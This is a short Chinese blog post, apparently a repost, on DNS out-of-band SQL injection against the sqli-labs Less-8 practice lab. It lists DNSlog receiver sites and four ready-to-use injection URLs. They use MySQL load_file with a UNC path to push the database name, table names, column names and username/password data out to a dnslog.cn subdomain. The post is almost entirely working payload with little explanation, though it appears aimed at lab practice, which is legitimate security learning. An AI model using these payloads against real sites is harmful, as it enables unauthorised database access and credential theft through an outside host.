前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >SQL注入之dns回显注入

SQL注入之dns回显注入

作者头像
行云博客
发布2020-08-11 15:31:48
1.3K0
发布2020-08-11 15:31:48
举报
文章被收录于专栏:行云博客行云博客
DNSlog外带数据注入

用到的网站

http://dnsbin.zhack.ca/ http://dnslog.cn/ http://ceye.io/

pyload:

查库

http://192.168.232.128/sqllabs/Less-8/?id=1' and load_file(concat("\\\\",database(),".kkc53r.dnslog.cn\\xxx.txt")) --+

查表

http://192.168.232.128/sqllabs/Less-8/?id=1' and load_file(concat("\\\\",(select group_concat(table_name SEPARATOR'-') from information_schema.tables where table_schema='security'),".kkc53r.dnslog.cn\\xxx.txt")) --+

查列

http://192.168.232.128/sqllabs/Less-8/?id=1' and load_file(concat("\\\\",(select group_concat(column_name SEPARATOR'-') from information_schema.columns where table_schema='security' and table_name='users'),".kkc53r.dnslog.cn\\xxx.txt")) --+

查数据(ps:子域名长度不能超过63个字符)

http://192.168.232.128/sqllabs/Less-8/?id=1' and load_file(concat("\\\\",(select concat(username,password) from users limit 0,1),".kkc53r.dnslog.cn\\xxx.txt")) --+

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2020-08-03 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • DNSlog外带数据注入
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档